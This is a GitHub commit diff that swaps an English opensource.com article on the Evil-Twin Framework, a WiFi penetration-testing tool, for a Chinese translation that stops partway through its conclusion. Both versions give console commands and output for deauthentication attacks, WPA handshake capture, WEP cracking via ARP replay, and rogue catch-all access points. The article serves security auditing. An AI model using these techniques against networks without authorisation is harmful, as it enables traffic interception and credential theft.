mirror of
https://github.com/LCTT/TranslateProject.git
synced 2024-12-26 21:30:55 +08:00
Xingyu.Wang
GitHub
commit
e208e7cd1f
@ -1,236 +0,0 @@
|
||||
[#]: collector: (lujun9972)
|
||||
[#]: translator: (hopefully2333)
|
||||
[#]: reviewer: ( )
|
||||
[#]: publisher: ( )
|
||||
[#]: url: ( )
|
||||
[#]: subject: (The Evil-Twin Framework: A tool for improving WiFi security)
|
||||
[#]: via: (https://opensource.com/article/19/1/evil-twin-framework)
|
||||
[#]: author: (André Esser https://opensource.com/users/andreesser)
|
||||
|
||||
The Evil-Twin Framework: A tool for improving WiFi security
|
||||
======
|
||||
Learn about a pen-testing tool intended to test the security of WiFi access points for all types of threats.
|
||||
|
||||
|
||||
The increasing number of devices that connect over-the-air to the internet over-the-air and the wide availability of WiFi access points provide many opportunities for attackers to exploit users. By tricking users to connect to [rogue access points][1], hackers gain full control over the users' network connection, which allows them to sniff and alter traffic, redirect users to malicious sites, and launch other attacks over the network..
|
||||
|
||||
To protect users and teach them to avoid risky online behaviors, security auditors and researchers must evaluate users' security practices and understand the reasons they connect to WiFi access points without being confident they are safe. There are a significant number of tools that can conduct WiFi audits, but no single tool can test the many different attack scenarios and none of the tools integrate well with one another.
|
||||
|
||||
The **Evil-Twin Framework** (ETF) aims to fix these problems in the WiFi auditing process by enabling auditors to examine multiple scenarios and integrate multiple tools. This article describes the framework and its functionalities, then provides some examples to show how it can be used.
|
||||
|
||||
### The ETF architecture
|
||||
|
||||
The ETF framework was written in [Python][2] because the development language is very easy to read and make contributions to. In addition, many of the ETF's libraries, such as **[Scapy][3]** , were already developed for Python, making it easy to use them for ETF.
|
||||
|
||||
The ETF architecture (Figure 1) is divided into different modules that interact with each other. The framework's settings are all written in a single configuration file. The user can verify and edit the settings through the user interface via the **ConfigurationManager** class. Other modules can only read these settings and run according to them.
|
||||
|
||||
![Evil-Twin Framework Architecture][5]
|
||||
|
||||
Figure 1: Evil-Twin framework architecture
|
||||
|
||||
The ETF supports multiple user interfaces that interact with the framework. The current default interface is an interactive console, similar to the one on [Metasploit][6]. A graphical user interface (GUI) and a command line interface (CLI) are under development for desktop/browser use, and mobile interfaces may be an option in the future. The user can edit the settings in the configuration file using the interactive console (and eventually with the GUI). The user interface can interact with every other module that exists in the framework.
|
||||
|
||||
The WiFi module ( **AirCommunicator** ) was built to support a wide range of WiFi capabilities and attacks. The framework identifies three basic pillars of Wi-Fi communication: **packet sniffing** , **custom packet injection** , and **access point creation**. The three main WiFi communication modules are **AirScanner** , **AirInjector** , and **AirHost** , which are responsible for packet sniffing, packet injection, and access point creation, respectively. The three classes are wrapped inside the main WiFi module, AirCommunicator, which reads the configuration file before starting the services. Any type of WiFi attack can be built using one or more of these core features.
|
||||
|
||||
To enable man-in-the-middle (MITM) attacks, which are a common way to attack WiFi clients, the framework has an integrated module called ETFITM (Evil-Twin Framework-in-the-Middle). This module is responsible for the creation of a web proxy used to intercept and manipulate HTTP/HTTPS traffic.
|
||||
|
||||
There are many other tools that can leverage the MITM position created by the ETF. Through its extensibility, ETF can support them—and, instead of having to call them separately, you can add the tools to the framework just by extending the Spawner class. This enables a developer or security auditor to call the program with a preconfigured argument string from within the framework.
|
||||
|
||||
The other way to extend the framework is through plugins. There are two categories of plugins: **WiFi plugins** and **MITM plugins**. MITM plugins are scripts that can run while the MITM proxy is active. The proxy passes the HTTP(S) requests and responses through to the plugins where they can be logged or manipulated. WiFi plugins follow a more complex flow of execution but still expose a fairly simple API to contributors who wish to develop and use their own plugins. WiFi plugins can be further divided into three categories, one for each of the core WiFi communication modules.
|
||||
|
||||
Each of the core modules has certain events that trigger the execution of a plugin. For instance, AirScanner has three defined events to which a response can be programmed. The events usually correspond to a setup phase before the service starts running, a mid-execution phase while the service is running, and a teardown or cleanup phase after a service finishes. Since Python allows multiple inheritance, one plugin can subclass more than one plugin class.
|
||||
|
||||
Figure 1 above is a summary of the framework's architecture. Lines pointing away from the ConfigurationManager mean that the module reads information from it and lines pointing towards it mean that the module can write/edit configurations.
|
||||
|
||||
### Examples of using the Evil-Twin Framework
|
||||
|
||||
There are a variety of ways ETF can conduct penetration testing on WiFi network security or work on end users' awareness of WiFi security. The following examples describe some of the framework's pen-testing functionalities, such as access point and client detection, WPA and WEP access point attacks, and evil twin access point creation.
|
||||
|
||||
These examples were devised using ETF with WiFi cards that allow WiFi traffic capture. They also utilize the following abbreviations for ETF setup commands:
|
||||
|
||||
* **APS** access point SSID
|
||||
* **APB** access point BSSID
|
||||
* **APC** access point channel
|
||||
* **CM** client MAC address
|
||||
|
||||
|
||||
|
||||
In a real testing scenario, make sure to replace these abbreviations with the correct information.
|
||||
|
||||
#### Capturing a WPA 4-way handshake after a de-authentication attack
|
||||
|
||||
This scenario (Figure 2) takes two aspects into consideration: the de-authentication attack and the possibility of catching a 4-way WPA handshake. The scenario starts with a running WPA/WPA2-enabled access point with one connected client device (in this case, a smartphone). The goal is to de-authenticate the client with a general de-authentication attack then capture the WPA handshake once it tries to reconnect. The reconnection will be done manually immediately after being de-authenticated.
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][8]
|
||||
|
||||
Figure 2: Scenario for capturing a WPA handshake after a de-authentication attack
|
||||
|
||||
The consideration in this example is the ETF's reliability. The goal is to find out if the tools can consistently capture the WPA handshake. The scenario will be performed multiple times with each tool to check its reliability when capturing the WPA handshake.
|
||||
|
||||
There is more than one way to capture a WPA handshake using the ETF. One way is to use a combination of the AirScanner and AirInjector modules; another way is to just use the AirInjector. The following scenario uses a combination of both modules.
|
||||
|
||||
The ETF launches the AirScanner module and analyzes the IEEE 802.11 frames to find a WPA handshake. Then the AirInjector can launch a de-authentication attack to force a reconnection. The following steps must be done to accomplish this on the ETF:
|
||||
|
||||
1. Enter the AirScanner configuration mode: **config airscanner**
|
||||
2. Configure the AirScanner to not hop channels: **config airscanner**
|
||||
3. Set the channel to sniff the traffic on the access point channel (APC): **set fixed_sniffing_channel = <APC>**
|
||||
4. Start the AirScanner module with the CredentialSniffer plugin: **start airscanner with credentialsniffer**
|
||||
5. Add a target access point BSSID (APS) from the sniffed access points list: **add aps where ssid = <APS>**
|
||||
6. Start the AirInjector, which by default lauches the de-authentication attack: **start airinjector**
|
||||
|
||||
|
||||
|
||||
This simple set of commands enables the ETF to perform an efficient and successful de-authentication attack on every test run. The ETF can also capture the WPA handshake on every test run. The following code makes it possible to observe the ETF's successful execution.
|
||||
|
||||
```
|
||||
███████╗████████╗███████╗
|
||||
██╔════╝╚══██╔══╝██╔════╝
|
||||
█████╗ ██║ █████╗
|
||||
██╔══╝ ██║ ██╔══╝
|
||||
███████╗ ██║ ██║
|
||||
╚══════╝ ╚═╝ ╚═╝
|
||||
|
||||
|
||||
[+] Do you want to load an older session? [Y/n]: n
|
||||
[+] Creating new temporary session on 02/08/2018
|
||||
[+] Enter the desired session name:
|
||||
ETF[etf/aircommunicator/]::> config airscanner
|
||||
ETF[etf/aircommunicator/airscanner]::> listargs
|
||||
sniffing_interface = wlan1; (var)
|
||||
probes = True; (var)
|
||||
beacons = True; (var)
|
||||
hop_channels = false; (var)
|
||||
fixed_sniffing_channel = 11; (var)
|
||||
ETF[etf/aircommunicator/airscanner]::> start airscanner with
|
||||
arpreplayer caffelatte credentialsniffer packetlogger selfishwifi
|
||||
ETF[etf/aircommunicator/airscanner]::> start airscanner with credentialsniffer
|
||||
[+] Successfully added credentialsniffer plugin.
|
||||
[+] Starting packet sniffer on interface 'wlan1'
|
||||
[+] Set fixed channel to 11
|
||||
ETF[etf/aircommunicator/airscanner]::> add aps where ssid = CrackWPA
|
||||
ETF[etf/aircommunicator/airscanner]::> start airinjector
|
||||
ETF[etf/aircommunicator/airscanner]::> [+] Starting deauthentication attack
|
||||
- 1000 bursts of 1 packets
|
||||
- 1 different packets
|
||||
[+] Injection attacks finished executing.
|
||||
[+] Starting post injection methods
|
||||
[+] Post injection methods finished
|
||||
[+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'
|
||||
```
|
||||
|
||||
#### Launching an ARP replay attack and cracking a WEP network
|
||||
|
||||
The next scenario (Figure 3) will also focus on the [Address Resolution Protocol][9] (ARP) replay attack's efficiency and the speed of capturing the WEP data packets containing the initialization vectors (IVs). The same network may require a different number of caught IVs to be cracked, so the limit for this scenario is 50,000 IVs. If the network is cracked during the first test with less than 50,000 IVs, that number will be the new limit for the following tests on the network. The cracking tool to be used will be **aircrack-ng**.
|
||||
|
||||
The test scenario starts with an access point using WEP encryption and an offline client that knows the key—the key for testing purposes is 12345, but it can be a larger and more complex key. Once the client connects to the WEP access point, it will send out a gratuitous ARP packet; this is the packet that's meant to be captured and replayed. The test ends once the limit of packets containing IVs is captured.
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][11]
|
||||
|
||||
Figure 3: Scenario for capturing a WPA handshake after a de-authentication attack
|
||||
|
||||
ETF uses Python's Scapy library for packet sniffing and injection. To minimize known performance problems in Scapy, ETF tweaks some of its low-level libraries to significantly speed packet injection. For this specific scenario, the ETF uses **tcpdump** as a background process instead of Scapy for more efficient packet sniffing, while Scapy is used to identify the encrypted ARP packet.
|
||||
|
||||
This scenario requires the following commands and operations to be performed on the ETF:
|
||||
|
||||
1. Enter the AirScanner configuration mode: **config airscanner**
|
||||
2. Configure the AirScanner to not hop channels: **set hop_channels = false**
|
||||
3. Set the channel to sniff the traffic on the access point channel (APC): **set fixed_sniffing_channel = <APC>**
|
||||
4. Enter the ARPReplayer plugin configuration mode: **config arpreplayer**
|
||||
5. Set the target access point BSSID (APB) of the WEP network: **set target_ap_bssid <APB>**
|
||||
6. Start the AirScanner module with the ARPReplayer plugin: **start airscanner with arpreplayer**
|
||||
|
||||
|
||||
|
||||
After executing these commands, ETF correctly identifies the encrypted ARP packet, then successfully performs an ARP replay attack, which cracks the network.
|
||||
|
||||
#### Launching a catch-all honeypot
|
||||
|
||||
The scenario in Figure 4 creates multiple access points with the same SSID. This technique discovers the encryption type of a network that was probed for but out of reach. By launching multiple access points with all security settings, the client will automatically connect to the one that matches the security settings of the locally cached access point information.
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][13]
|
||||
|
||||
Figure 4: Scenario for capturing a WPA handshake after a de-authentication attack
|
||||
|
||||
Using the ETF, it is possible to configure the **hostapd** configuration file then launch the program in the background. Hostapd supports launching multiple access points on the same wireless card by configuring virtual interfaces, and since it supports all types of security configurations, a complete catch-all honeypot can be set up. For the WEP and WPA(2)-PSK networks, a default password is used, and for the WPA(2)-EAP, an "accept all" policy is configured.
|
||||
|
||||
For this scenario, the following commands and operations must be performed on the ETF:
|
||||
|
||||
1. Enter the APLauncher configuration mode: **config aplauncher**
|
||||
2. Set the desired access point SSID (APS): **set ssid = <APS>**
|
||||
3. Configure the APLauncher as a catch-all honeypot: **set catch_all_honeypot = true**
|
||||
4. Start the AirHost module: **start airhost**
|
||||
|
||||
|
||||
|
||||
With these commands, the ETF can launch a complete catch-all honeypot with all types of security configurations. ETF also automatically launches the DHCP and DNS servers that allow clients to stay connected to the internet. ETF offers a better, faster, and more complete solution to create catch-all honeypots. The following code enables the successful execution of the ETF to be observed.
|
||||
|
||||
```
|
||||
███████╗████████╗███████╗
|
||||
██╔════╝╚══██╔══╝██╔════╝
|
||||
█████╗ ██║ █████╗
|
||||
██╔══╝ ██║ ██╔══╝
|
||||
███████╗ ██║ ██║
|
||||
╚══════╝ ╚═╝ ╚═╝
|
||||
|
||||
|
||||
[+] Do you want to load an older session? [Y/n]: n
|
||||
[+] Creating ne´,cxzw temporary session on 03/08/2018
|
||||
[+] Enter the desired session name:
|
||||
ETF[etf/aircommunicator/]::> config aplauncher
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf ssid CatchMe
|
||||
ssid = CatchMe
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf catch_all_honeypot true
|
||||
catch_all_honeypot = true
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> start airhost
|
||||
[+] Killing already started processes and restarting network services
|
||||
[+] Stopping dnsmasq and hostapd services
|
||||
[+] Access Point stopped...
|
||||
[+] Running airhost plugins pre_start
|
||||
[+] Starting hostapd background process
|
||||
[+] Starting dnsmasq service
|
||||
[+] Running airhost plugins post_start
|
||||
[+] Access Point launched successfully
|
||||
[+] Starting dnsmasq service
|
||||
```
|
||||
|
||||
### Conclusions and future work
|
||||
|
||||
These scenarios use common and well-known attacks to help validate the ETF's capabilities for testing WiFi networks and clients. The results also validate that the framework's architecture enables new attack vectors and features to be developed on top of it while taking advantage of the platform's existing capabilities. This should accelerate development of new WiFi penetration-testing tools, since a lot of the code is already written. Furthermore, the fact that complementary WiFi technologies are all integrated in a single tool will make WiFi pen-testing simpler and more efficient.
|
||||
|
||||
The ETF's goal is not to replace existing tools but to complement them and offer a broader choice to security auditors when conducting WiFi pen-testing and improving user awareness.
|
||||
|
||||
The ETF is an open source project [available on GitHub][14] and community contributions to its development are welcomed. Following are some of the ways you can help.
|
||||
|
||||
One of the limitations of current WiFi pen-testing is the inability to log important events during tests. This makes reporting identified vulnerabilities both more difficult and less accurate. The framework could implement a logger that can be accessed by every class to create a pen-testing session report.
|
||||
|
||||
The ETF tool's capabilities cover many aspects of WiFi pen-testing. On one hand, it facilitates the phases of WiFi reconnaissance, vulnerability discovery, and attack. On the other hand, it doesn't offer a feature that facilitates the reporting phase. Adding the concept of a session and a session reporting feature, such as the logging of important events during a session, would greatly increase the value of the tool for real pen-testing scenarios.
|
||||
|
||||
Another valuable contribution would be extending the framework to facilitate WiFi fuzzing. The IEEE 802.11 protocol is very complex, and considering there are multiple implementations of it, both on the client and access point side, it's safe to assume these implementations contain bugs and even security flaws. These bugs could be discovered by fuzzing IEEE 802.11 protocol frames. Since Scapy allows custom packet creation and injection, a fuzzer can be implemented through it.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: https://opensource.com/article/19/1/evil-twin-framework
|
||||
|
||||
作者：[André Esser][a]
|
||||
选题：[lujun9972][b]
|
||||
译者：[译者ID](https://github.com/译者ID)
|
||||
校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||||
|
||||
[a]: https://opensource.com/users/andreesser
|
||||
[b]: https://github.com/lujun9972
|
||||
[1]: https://en.wikipedia.org/wiki/Rogue_access_point
|
||||
[2]: https://www.python.org/
|
||||
[3]: https://scapy.net
|
||||
[4]: /file/417776
|
||||
[5]: https://opensource.com/sites/default/files/uploads/pic1.png (Evil-Twin Framework Architecture)
|
||||
[6]: https://www.metasploit.com
|
||||
[7]: /file/417781
|
||||
[8]: https://opensource.com/sites/default/files/uploads/pic2.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[9]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol
|
||||
[10]: /file/417786
|
||||
[11]: https://opensource.com/sites/default/files/uploads/pic3.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[12]: /file/417791
|
||||
[13]: https://opensource.com/sites/default/files/uploads/pic4.png (Scenario for capturing a WPA handshake after a de-authentication attack)
|
||||
[14]: https://github.com/Esser420/EvilTwinFramework
|
||||
@ -0,0 +1,236 @@
|
||||
[#]: collector: (lujun9972)
|
||||
[#]: translator: (hopefully2333)
|
||||
[#]: reviewer: ( )
|
||||
[#]: publisher: ( )
|
||||
[#]: url: ( )
|
||||
[#]: subject: (The Evil-Twin Framework: A tool for improving WiFi security)
|
||||
[#]: via: (https://opensource.com/article/19/1/evil-twin-framework)
|
||||
[#]: author: (André Esser https://opensource.com/users/andreesser)
|
||||
|
||||
Evil-Twin 框架：一个用于提升 WiFi 安全性的工具
|
||||
======
|
||||
了解一款用于对 WiFi 安全性进行手动测试的工具，这款工具可以通过不同类型安全威胁的漏洞点进行测试。
|
||||
|
||||
|
||||
越来越多的设备通过无线传输的方式连接到互联网，以及，WiFi 接入点大范围的可用，这两者为攻击者攻击用户提供了很多机会。通过欺骗用户连接到虚假的 WiFi 接入点，攻击者可以完全控制用户的网络连接，这将使得攻击者可以嗅探和篡改用户通过无线连接进行发送和接收的数据包，将用户的连接重定向到一个恶意的网站，并通过网络发起其他的攻击。
|
||||
|
||||
为了保护用户并告诉他们如何避免线上的危险操作，安全审计人员和安全研究员必须评估用户的安全实践能力，用户常常在没有确认该 WiFi 接入点为安全的情况下就连接上了该网络，安全审计人员和研究员需要去了解这背后的原因。有很多工具都可以对 WiFi 的安全性进行审计，但是没有一款工具可以测试大量不同的攻击场景，也没有能和其他工具集成得很好的工具。
|
||||
|
||||
Evil-Twin Framework（ETF）用于在 WiFi 审计过程中解决这些问题。审计者能够使用 ETF 来集成多种工具并测试该 WiFi 在不同场景下的安全性。本文会介绍 ETF 的框架和功能，然后会提供一些案例来说明该如何使用这款工具。
|
||||
|
||||
### ETF 的架构
|
||||
|
||||
ETF 的框架是用 python 写的，因为这门开发语言的代码读起来非常容易，也方便其他开发者向这个项目贡献代码。除此之外，很多 ETF 的库，比如 Scapy，都是为 python 开发的，很容易就能将它们用于 ETF。
|
||||
|
||||
ETF 的架构（图1）分为不同的模块，模块之间相互作用。框架的设置都写在一个单独的配置文件里。用户可以通过 ConfigurationManager 类里的用户界面验证并修改这些配置。其他模块只能读取这些设置并根据这些设置进行运行。
|
||||
|
||||
![Evil-Twin Framework Architecture][5]
|
||||
|
||||
图 1：Evil-Twin 的框架架构
|
||||
|
||||
ETF 支持多种用户界面来与框架交互，当前的默认界面是一个交互式控制台界面，类似于 Metasploit 那种。正在开发用于桌面/浏览器使用的图形用户界面（GUI）和命令行界面（CLI），移动端界面也是未来的一个备选项。用户可以使用交互式控制台界面来修改配置文件里的设置（最终会使用 GUI）。用户界面可以与框架里存在的每个模块进行交互。
|
||||
|
||||
WiFi 模块（AirCommunicator）用于支持多种 WiFi 功能和攻击。该框架确定了 Wi-Fi 通信的三个基本支柱：数据包嗅探，自定义数据包注入和创建接入点。三个主要的 WiFi 通信模块是 AirScanner，AirInjector，和 AirHost，它们分别用于数据包嗅探，数据包注入，和接入点创建。这三个类包含在主 WiFi 模块 AirCommunicator 中，AirCommunicator 在启动这些服务之前会先读取这些服务的配置文件。使用这些核心功能的一个或多个就可以构造任意类型的 WiFi 攻击。
|
||||
|
||||
使用中间人（MITM）攻击，这是一种攻击 WiFi 客户端的常见手法。ETF 有一个叫做 ETFITM（Evil-Twin Framework-in-the-Middle）的集成模块，这个模块用于创建一个 web 代理，来拦截和修改经过的 HTTP/HTTPS 数据包。
|
||||
|
||||
许多其他的工具也可以使用 ETF 创建 MITM。通过它的可扩展性，ETF 能够支持它们，而不必单独地调用它们，你可以通过扩展 Spawner 类来将这些工具添加到框架里。这使得开发者和安全审计人员可以使用框架里预先配置好的参数字符来调用程序。
|
||||
|
||||
扩展 ETF 的另一种方法就是通过插件。有两类插件：WiFi 插件和 MITM 插件。MITM 插件是在 MITM 代理运行时可以执行的脚本。代理会将 HTTP（s）请求和响应传递给可以记录和处理它们的插件。WiFi 插件遵循一个更加复杂的执行流程，但仍然会给想参与开发并且使用自己插件的贡献者提供一个相对简单的 API。WiFi 插件还可以进一步地划分为三类，其中一类用于每个核心 WiFi 通信模块。
|
||||
|
||||
每个核心模块都有一些事件能触发响应的插件的执行。举个栗子，AirScanner 有三个已定义的事件，可以对其进行编程。事件通常对应于服务开始运行之前的设置阶段，服务正在运行时的中间执行阶段，服务完成后的卸载或清理阶段。因为 python 允许多重继承，所以一个插件可以继承多个插件类。
|
||||
|
||||
图 1 是框架架构的摘要。指向远离 ConfigurationManager 的行意味着模块会从中读取信息，指向它的行意味着模块会编写/修改配置。
|
||||
|
||||
### 使用 ETF 的实例
|
||||
|
||||
ETF 可以通过多种方式对 WiFi 的网络安全或者终端用户的 WiFi 安全意识进行渗透测试。下面的例子描述了这个框架的一些手动测试的功能，例如接入点和客户端检测，对使用 WPA 和 WEP 类型协议的接入点进行攻击，和创建恶意的双接入点。
|
||||
|
||||
这些例子是使用 ETF 设计的，WiFi 卡允许进行 WiFi 数据捕获。它们同样为 ETF 设置命令使用了下面这些缩写：
|
||||
|
||||
* **APS** access point SSID
|
||||
* **APB** access point BSSID
|
||||
* **APC** access point channel
|
||||
* **CM** client MAC address
|
||||
|
||||
|
||||
|
||||
在实际的测试场景中，确保你使用了正确的信息来替换这些缩写。
|
||||
|
||||
#### 在解除认证攻击后捕获 WPA 四次握手的数据包。
|
||||
|
||||
这个场景（图 2）做了两个方面的考虑：解除认证攻击和捕获 WPA 四次握手数据包的可能性。这个场景从一个运行 WPA/WPA2 的接入点开始，这个接入点有一个已经连上的客户端设备（在本例中是一台智能手机）。目的是通过一般的解除认证攻击（译者注：类似于 DOS 攻击）来让客户端断开和 WiFi 的网络，然后在客户端尝试重连的时候捕获 WPA 的握手包。重连会在断开连接后马上手动完成。
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][8]
|
||||
|
||||
图 2：在解除认证攻击后捕获 WPA 握手包的场景
|
||||
|
||||
在这个例子中需要考虑的是 ETF 的可靠性。目的是确认工具是否一直都能捕获 WPA 的握手数据包。每个工具都会用来多次复现这个场景，以此来检查它们在捕获 WPA 握手数据包时的可靠性。
|
||||
|
||||
使用 ETF 来捕获 WPA 握手数据包的方法不止一种。一种方法是使用 AirScanner 和 AirInjector 两个模块的组合；另一种方法是只使用 AirInjector。下面这个场景是使用了两个模块的组合。
|
||||
|
||||
ETF 启用了 AirScanner 模块并分析 IEEE 802.11 数据帧来发现 WPA 握手包。然后 AirInjecto 就可以使用解除认证攻击来强制客户端断开连接，以进行重连。必须在 ETF 上执行下面这些步骤才能完成上面的目标：
|
||||
|
||||
1. 进入 AirScanner 配置模式: **config airscanner**
|
||||
2. 设置 AirScanner 不跳信道: **config airscanner**
|
||||
3. 设置信道以嗅探经过 WiFi 接入点信道的数据（APC）: **set fixed_sniffing_channel = <APC>**
|
||||
4. 使用 CredentialSniffer 插件来启动 AirScanner 模块: **start airscanner with credentialsniffer**
|
||||
5. 从已嗅探的接入点列表中添加目标接入点的 BSSID（APS）: **add aps where ssid = <APS>**
|
||||
6. 启用 AirInjector 模块，在默认情况下，它会启用解除认证攻击: **start airinjector**
|
||||
|
||||
|
||||
|
||||
这些简单的命令设置能让 ETF 在每次测试时执行成功且有效的解除认证攻击。ETF 也能在每次测试的时候捕获 WPA 的握手数据包。下面的代码能让我们看到 ETF 成功的执行情况。
|
||||
|
||||
```
|
||||
███████╗████████╗███████╗
|
||||
██╔════╝╚══██╔══╝██╔════╝
|
||||
█████╗ ██║ █████╗
|
||||
██╔══╝ ██║ ██╔══╝
|
||||
███████╗ ██║ ██║
|
||||
╚══════╝ ╚═╝ ╚═╝
|
||||
|
||||
|
||||
[+] Do you want to load an older session? [Y/n]: n
|
||||
[+] Creating new temporary session on 02/08/2018
|
||||
[+] Enter the desired session name:
|
||||
ETF[etf/aircommunicator/]::> config airscanner
|
||||
ETF[etf/aircommunicator/airscanner]::> listargs
|
||||
sniffing_interface = wlan1; (var)
|
||||
probes = True; (var)
|
||||
beacons = True; (var)
|
||||
hop_channels = false; (var)
|
||||
fixed_sniffing_channel = 11; (var)
|
||||
ETF[etf/aircommunicator/airscanner]::> start airscanner with
|
||||
arpreplayer caffelatte credentialsniffer packetlogger selfishwifi
|
||||
ETF[etf/aircommunicator/airscanner]::> start airscanner with credentialsniffer
|
||||
[+] Successfully added credentialsniffer plugin.
|
||||
[+] Starting packet sniffer on interface 'wlan1'
|
||||
[+] Set fixed channel to 11
|
||||
ETF[etf/aircommunicator/airscanner]::> add aps where ssid = CrackWPA
|
||||
ETF[etf/aircommunicator/airscanner]::> start airinjector
|
||||
ETF[etf/aircommunicator/airscanner]::> [+] Starting deauthentication attack
|
||||
- 1000 bursts of 1 packets
|
||||
- 1 different packets
|
||||
[+] Injection attacks finished executing.
|
||||
[+] Starting post injection methods
|
||||
[+] Post injection methods finished
|
||||
[+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'
|
||||
```
|
||||
|
||||
#### 使用 ARP 重放攻击并破解 WEP 无线网络
|
||||
|
||||
下面这个场景（图 3）将关注地址解析协议（ARP）重放攻击的效率和捕获包含初始化向量（IVs）的 WEP 数据包的速度。相同的网络可能需要破解不同数量的捕获的 IVs，所以这个场景的 IVs 上限是 50000。如果这个网络在首次测试期间，还未捕获到 50000IVs 就崩溃了，那么实际捕获到的 IVs 数量会成为这个网络在接下来的测试里的新的上限。我们使用 aircrack-ng 对数据包进行破解。
|
||||
|
||||
测试场景从一个使用 WEP 协议进行加密的 WiFi 接入点和一台知道其密钥的离线客户端设备开始-为了测试密钥使用了 12345，但它可以是更长且更复杂的密钥。一旦客户端连接到了 WEP 接入点，它会发送一个 ARP 数据包；这是要捕获和重放的数据包。一旦被捕获的包含 IVs 的数据包数量达到了设置的上限，测试就结束了。
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][11]
|
||||
|
||||
图 3：在进行解除认证攻击后捕获 WPA 握手包的场景
|
||||
|
||||
ETF 使用 Python 的 Scapy 库来进行包嗅探和包注入。为了最大限度地解决 Scapy 里的已知性能问题，ETF 微调了一些低级库，来大大加快包注入的速度。对于这个特定的场景，ETF 为了更有效率地嗅探，使用了 tcpdump 作为后台进程而不是 Scapy，Scapy 用于识别加密的 ARP 数据包。
|
||||
|
||||
这个场景需要在 ETF 上执行下面这些命令和操作：
|
||||
|
||||
1. 进入 AirScanner 设置模式: **config airscanner**
|
||||
2. 设置 AirScanner 不跳信道: **set hop_channels = false**
|
||||
3. 设置信道以嗅探经过接入点信道的数据（APC）: **set fixed_sniffing_channel = <APC>**
|
||||
4. 进入 ARPReplayer 插件设置模式: **config arpreplayer**
|
||||
5. 设置 WEP 网络目标接入点的 BSSID（APB）: **set target_ap_bssid <APB>**
|
||||
6. 使用 ARPReplayer 插件启动 AirScanner 模块: **start airscanner with arpreplayer**
|
||||
|
||||
|
||||
|
||||
在执行完这些命令后，ETF 会正确地识别加密的 ARP 数据包，然后成功执行 ARP 重放攻击，以此破坏这个网络。
|
||||
|
||||
#### 使用一款全能型蜜罐
|
||||
|
||||
图 4 中的场景使用相同的 SSID 创建了多个接入点，对于那些可以探测到但是无法接入的 WiFi 网络，这个技术可以发现网络的加密类型。通过启动具有所有安全设置的多个接入点，客户端会自动连接和本地缓存的接入点信息相匹配的接入点。
|
||||
|
||||
![Scenario for capturing a WPA handshake after a de-authentication attack][13]
|
||||
|
||||
图 4：在解除认证攻击后捕获 WPA 握手包数据。
|
||||
|
||||
使用 ETF，可以去设置 hostapd 配置文件，然后在后台启动该程序。Hostpad 支持在一张无线网卡上通过设置虚拟接口开启多个接入点，并且因为它支持所有类型的安全设置，因此可以设置完整的全能蜜罐。对于使用 WEP 和 WPA(2)-PSK 的网络，使用默认密码，和对于使用 WPA(2)-EAP 的网络，配置“全部接受”策略。
|
||||
|
||||
对于这个场景，必须在 ETF 上执行下面的命令和操作：
|
||||
|
||||
1. 进入 APLauncher 设置模式: **config aplauncher**
|
||||
2. 设置目标接入点的 SSID(APS): **set ssid = <APS>**
|
||||
3. 设置 APLauncher 为全部接收的蜜罐: **set catch_all_honeypot = true**
|
||||
4. 启动 AirHost 模块: **start airhost**
|
||||
|
||||
|
||||
|
||||
使用这些命令，ETF 可以启动一个包含所有类型安全配置的完整全能蜜罐。ETF 同样能自动启动 DHCP 和 DNS 服务器，从而让客户端能与互联网保持连接。ETF 提供了一个更好、更快、更完整的解决方案来创建全能蜜罐。下面的代码能够看到 ETF 的成功执行。
|
||||
|
||||
```
|
||||
███████╗████████╗███████╗
|
||||
██╔════╝╚══██╔══╝██╔════╝
|
||||
█████╗ ██║ █████╗
|
||||
██╔══╝ ██║ ██╔══╝
|
||||
███████╗ ██║ ██║
|
||||
╚══════╝ ╚═╝ ╚═╝
|
||||
|
||||
|
||||
[+] Do you want to load an older session? [Y/n]: n
|
||||
[+] Creating ne´,cxzw temporary session on 03/08/2018
|
||||
[+] Enter the desired session name:
|
||||
ETF[etf/aircommunicator/]::> config aplauncher
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf ssid CatchMe
|
||||
ssid = CatchMe
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf catch_all_honeypot true
|
||||
catch_all_honeypot = true
|
||||
ETF[etf/aircommunicator/airhost/aplauncher]::> start airhost
|
||||
[+] Killing already started processes and restarting network services
|
||||
[+] Stopping dnsmasq and hostapd services
|
||||
[+] Access Point stopped...
|
||||
[+] Running airhost plugins pre_start
|
||||
[+] Starting hostapd background process
|
||||
[+] Starting dnsmasq service
|
||||
[+] Running airhost plugins post_start
|
||||
[+] Access Point launched successfully
|
||||
[+] Starting dnsmasq service
|
||||
```
|
||||
|
||||
### 结论和以后的工作
|
||||
|
||||
这些场景使用常见和总所周知的攻击方式来帮助验证 ETF 测试 WIFI 网络和客户端的能力。这个结果同样证明了框架的架构能在平台现有功能的优势上开发新的攻击向量和功能。这会加快新的 WiFi 渗透测试工具的开发，因为很多的代码已经写好了。除此之外，将 WiFi 技术相关的东西都集成到一个单独的工具里，会使 WiFi 渗透测试更加简单高效。
|
||||
|
||||
ETF 的目标不是取代现有的工具，而是为它们提供补充，并为安全审计人员在进行 WiFi 测试和提升用户安全意识时，提供一个更好的选择。
|
||||
|
||||
ETF 是 GitHub 上的一个开源项目，欢迎社区为它的开发做出贡献。下面是一些您可以提供帮助的方法。
|
||||
|
||||
